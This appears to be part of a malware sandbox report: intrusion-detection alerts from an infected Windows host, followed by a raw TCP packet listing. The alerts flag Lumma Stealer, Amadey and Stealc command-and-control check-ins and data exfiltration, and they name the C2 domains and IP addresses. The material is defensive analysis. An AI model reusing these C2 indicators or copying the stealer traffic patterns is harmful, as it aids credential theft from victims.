2024-10-30T12:36:05.937570+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49732	188.114.97.3	443	TCP
2024-10-30T12:36:07.359185+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49733	188.114.97.3	443	TCP
2024-10-30T12:36:08.558237+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49734	188.114.97.3	443	TCP
2024-10-30T12:36:10.169330+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49735	188.114.97.3	443	TCP
2024-10-30T12:36:11.798724+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49736	188.114.97.3	443	TCP
2024-10-30T12:36:30.796281+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49743	188.114.97.3	443	TCP
2024-10-30T12:36:31.265875+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49743	188.114.97.3	443	TCP
2024-10-30T12:36:32.189309+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49744	185.215.113.16	80	TCP
2024-10-30T12:36:47.092945+0100	2856147	ETPRO MALWARE Amadey CnC Activity M3	1	192.168.2.4	49745	185.215.113.43	80	TCP
2024-10-30T12:36:50.651350+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49747	185.215.113.16	80	TCP
2024-10-30T12:36:53.253317+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	56010	1.1.1.1	53	UDP
2024-10-30T12:36:53.264838+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	58693	1.1.1.1	53	UDP
2024-10-30T12:36:53.275281+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	54237	1.1.1.1	53	UDP
2024-10-30T12:36:53.286628+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	63329	1.1.1.1	53	UDP
2024-10-30T12:36:53.932107+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49748	188.114.97.3	443	TCP
2024-10-30T12:36:54.273866+0100	2856122	ETPRO MALWARE Amadey CnC Response M1	1	185.215.113.43	80	192.168.2.4	49746	TCP
2024-10-30T12:36:54.515181+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49748	188.114.97.3	443	TCP
2024-10-30T12:36:54.515181+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49748	188.114.97.3	443	TCP
2024-10-30T12:36:55.170710+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49750	188.114.97.3	443	TCP
2024-10-30T12:36:55.195532+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49749	185.215.113.43	80	TCP
2024-10-30T12:36:55.877667+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49750	188.114.97.3	443	TCP
2024-10-30T12:36:55.877667+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49750	188.114.97.3	443	TCP
2024-10-30T12:36:56.134608+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49751	185.215.113.16	80	TCP
2024-10-30T12:36:56.924735+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49752	188.114.97.3	443	TCP
2024-10-30T12:36:57.393998+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	49752	188.114.97.3	443	TCP
2024-10-30T12:36:58.169043+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49753	188.114.97.3	443	TCP
2024-10-30T12:37:00.199849+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49754	188.114.97.3	443	TCP
2024-10-30T12:37:00.760390+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49755	185.215.113.43	80	TCP
2024-10-30T12:37:01.710227+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49757	185.215.113.16	80	TCP
2024-10-30T12:37:02.414094+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49758	185.215.113.206	80	TCP
2024-10-30T12:37:02.596890+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49764	188.114.97.3	443	TCP
2024-10-30T12:37:04.294053+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49770	188.114.97.3	443	TCP
2024-10-30T12:37:05.766121+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49781	185.215.113.43	80	TCP
2024-10-30T12:37:06.710552+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.4	49787	185.215.113.16	80	TCP
2024-10-30T12:37:06.710552+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49787	185.215.113.16	80	TCP
2024-10-30T12:37:06.928522+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49788	188.114.97.3	443	TCP
2024-10-30T12:37:07.422923+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49788	188.114.97.3	443	TCP
2024-10-30T12:37:07.619760+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	60882	1.1.1.1	53	UDP
2024-10-30T12:37:07.634895+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	56131	1.1.1.1	53	UDP
2024-10-30T12:37:07.646886+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	65246	1.1.1.1	53	UDP
2024-10-30T12:37:07.657844+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	54137	1.1.1.1	53	UDP
2024-10-30T12:37:08.300815+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49800	188.114.97.3	443	TCP
2024-10-30T12:37:08.358532+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49794	185.215.113.16	80	TCP
2024-10-30T12:37:08.720612+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	49800	188.114.97.3	443	TCP
2024-10-30T12:37:08.720612+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49800	188.114.97.3	443	TCP
2024-10-30T12:37:09.553997+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49803	185.215.113.206	80	TCP
2024-10-30T12:37:09.680001+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49811	188.114.97.3	443	TCP
2024-10-30T12:37:10.154956+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	49811	188.114.97.3	443	TCP
2024-10-30T12:37:10.154956+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49811	188.114.97.3	443	TCP
2024-10-30T12:37:11.028605+0100	2044696	ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2	1	192.168.2.4	49819	185.215.113.43	80	TCP
2024-10-30T12:37:12.095965+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49829	188.114.97.3	443	TCP
2024-10-30T12:37:13.716915+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49843	188.114.97.3	443	TCP
2024-10-30T12:37:17.694856+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49870	188.114.97.3	443	TCP
2024-10-30T12:37:22.193548+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49907	188.114.97.3	443	TCP
2024-10-30T12:37:22.917817+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49906	185.215.113.206	80	TCP
2024-10-30T12:37:26.425548+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49937	188.114.97.3	443	TCP
2024-10-30T12:37:29.318506+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	49953	188.114.97.3	443	TCP
2024-10-30T12:37:29.797576+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	49953	188.114.97.3	443	TCP
2024-10-30T12:37:30.712903+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	49960	185.215.113.16	80	TCP
2024-10-30T12:37:32.469183+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	49971	185.215.113.206	80	TCP
2024-10-30T12:37:40.079680+0100	2057131	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (presticitpo .store)	1	192.168.2.4	63053	1.1.1.1	53	UDP
2024-10-30T12:37:40.094899+0100	2057129	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crisiwarny .store)	1	192.168.2.4	65451	1.1.1.1	53	UDP
2024-10-30T12:37:40.107828+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	56005	1.1.1.1	53	UDP
2024-10-30T12:37:40.878684+0100	2057127	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (fadehairucw .store)	1	192.168.2.4	62818	1.1.1.1	53	TCP
2024-10-30T12:37:41.066514+0100	2057125	ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (thumbystriw .store)	1	192.168.2.4	60643	1.1.1.1	53	UDP
2024-10-30T12:37:41.699411+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	62823	188.114.97.3	443	TCP
2024-10-30T12:37:42.193190+0100	2049836	ET MALWARE Lumma Stealer Related Activity	1	192.168.2.4	62823	188.114.97.3	443	TCP
2024-10-30T12:37:42.193190+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	62823	188.114.97.3	443	TCP
2024-10-30T12:37:42.859435+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	62837	188.114.97.3	443	TCP
2024-10-30T12:37:43.455122+0100	2049812	ET MALWARE Lumma Stealer Related Activity M2	1	192.168.2.4	62837	188.114.97.3	443	TCP
2024-10-30T12:37:43.455122+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	62837	188.114.97.3	443	TCP
2024-10-30T12:37:44.091129+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	62843	188.114.97.3	443	TCP
2024-10-30T12:37:44.727928+0100	2048094	ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration	1	192.168.2.4	62843	188.114.97.3	443	TCP
2024-10-30T12:37:45.376708+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	62854	188.114.97.3	443	TCP
2024-10-30T12:37:46.567353+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	62862	188.114.97.3	443	TCP
2024-10-30T12:37:48.251941+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	62871	188.114.97.3	443	TCP
2024-10-30T12:37:49.840012+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	62881	188.114.97.3	443	TCP
2024-10-30T12:37:49.896611+0100	2843864	ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2	1	192.168.2.4	62881	188.114.97.3	443	TCP
2024-10-30T12:37:50.399586+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	62882	185.215.113.206	80	TCP
2024-10-30T12:37:51.078192+0100	2057124	ET MALWARE Observed Win32/Lumma Stealer Related Domain (necklacedmny .store in TLS SNI)	1	192.168.2.4	62891	188.114.97.3	443	TCP
2024-10-30T12:37:51.550849+0100	2054653	ET MALWARE Lumma Stealer CnC Host Checkin	1	192.168.2.4	62891	188.114.97.3	443	TCP
2024-10-30T12:37:52.497372+0100	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	2	192.168.2.4	62898	185.215.113.16	80	TCP
2024-10-30T12:38:07.764682+0100	2044243	ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in	1	192.168.2.4	62934	185.215.113.206	80	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 12:36:02.260840893 CET	49730	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:02.260881901 CET	443	49730	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:02.260952950 CET	49730	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:02.263628960 CET	49730	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:02.263643980 CET	443	49730	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:02.884927034 CET	443	49730	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:02.885015965 CET	49730	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:02.888067007 CET	49730	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:02.888077021 CET	443	49730	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:02.888474941 CET	443	49730	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:02.938443899 CET	49730	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:02.943643093 CET	49730	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:02.943809986 CET	49730	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:02.943840027 CET	443	49730	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:03.665699005 CET	443	49730	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:03.665947914 CET	443	49730	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:03.666029930 CET	49730	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:03.667211056 CET	49730	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:03.667263985 CET	443	49730	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:03.667326927 CET	49730	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:03.667342901 CET	443	49730	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:03.734992981 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:03.735028982 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:03.735105038 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:03.735393047 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:03.735409021 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:04.356151104 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:04.356235027 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:04.357862949 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:04.357883930 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:04.358207941 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:04.359605074 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:04.359605074 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:04.359689951 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.073550940 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.073671103 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.073760033 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.073775053 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.073798895 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.073940992 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.074014902 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.074027061 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.074078083 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.074085951 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.074683905 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.075139999 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.075227022 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.075236082 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.075331926 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.190421104 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.190627098 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.190763950 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.190834045 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.190853119 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.190937042 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.190946102 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.191092968 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.195085049 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.195127964 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.195127964 CET	49731	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.195147991 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.195161104 CET	443	49731	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.327804089 CET	49732	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.327838898 CET	443	49732	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.327918053 CET	49732	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.328236103 CET	49732	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.328248024 CET	443	49732	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.937463045 CET	443	49732	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.937570095 CET	49732	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.959559917 CET	49732	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.959577084 CET	443	49732	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.959954977 CET	443	49732	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.972213030 CET	49732	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.975605965 CET	49732	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.975655079 CET	443	49732	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:05.975735903 CET	49732	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:05.975744963 CET	443	49732	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:06.626590014 CET	443	49732	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:06.626808882 CET	49732	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:06.744051933 CET	49733	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:06.744098902 CET	443	49733	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:06.744168997 CET	49733	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:06.744440079 CET	49733	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:06.744458914 CET	443	49733	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:07.359102964 CET	443	49733	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:07.359184980 CET	49733	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:07.360826015 CET	49733	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:07.360836983 CET	443	49733	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:07.361160994 CET	443	49733	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:07.362353086 CET	49733	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:07.362473011 CET	49733	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:07.362504959 CET	443	49733	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:07.707461119 CET	443	49733	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:07.707681894 CET	443	49733	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:07.707699060 CET	49733	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:07.707729101 CET	49733	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:07.942753077 CET	49734	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:07.942815065 CET	443	49734	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:07.942888975 CET	49734	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:07.943558931 CET	49734	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:07.943572998 CET	443	49734	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:08.558105946 CET	443	49734	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:08.558237076 CET	49734	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:08.569273949 CET	49734	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:08.569289923 CET	443	49734	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:08.569672108 CET	443	49734	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:08.573971033 CET	49734	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:08.574095964 CET	49734	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:08.574130058 CET	443	49734	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:08.574194908 CET	49734	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:08.574203968 CET	443	49734	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:09.189939022 CET	443	49734	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:09.190217018 CET	443	49734	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:09.190329075 CET	49734	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:09.190557957 CET	49734	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:09.190577984 CET	443	49734	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:09.541480064 CET	49735	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:09.541526079 CET	443	49735	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:09.541589022 CET	49735	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:09.541876078 CET	49735	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:09.541896105 CET	443	49735	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:10.169248104 CET	443	49735	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:10.169329882 CET	49735	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:10.171593904 CET	49735	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:10.171603918 CET	443	49735	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:10.172010899 CET	443	49735	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:10.173554897 CET	49735	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:10.173594952 CET	49735	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:10.173600912 CET	443	49735	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:10.636454105 CET	443	49735	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:10.636692047 CET	443	49735	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:10.636722088 CET	49735	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:10.636888027 CET	49735	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.185772896 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.185823917 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.185893059 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.186471939 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.186490059 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.798619986 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.798723936 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.799946070 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.799968958 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.800291061 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.801796913 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.802525043 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.802558899 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.802680969 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.802715063 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.802844048 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.802870035 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.803035975 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.803060055 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.803220987 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.803246975 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.803422928 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.803452015 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.803466082 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.803628922 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.803657055 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.814074039 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.814269066 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.814313889 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.814316988 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.814330101 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.814357042 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.814538002 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.814555883 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.814585924 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.814632893 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:11.814637899 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:11.814718962 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:30.166197062 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:30.166285992 CET	443	49736	188.114.97.3	192.168.2.4
Oct 30, 2024 12:36:30.166353941 CET	49736	443	192.168.2.4	188.114.97.3
Oct 30, 2024 12:36:30.166517973 CET	49736	443	192.168.2.4	188.114.97.3
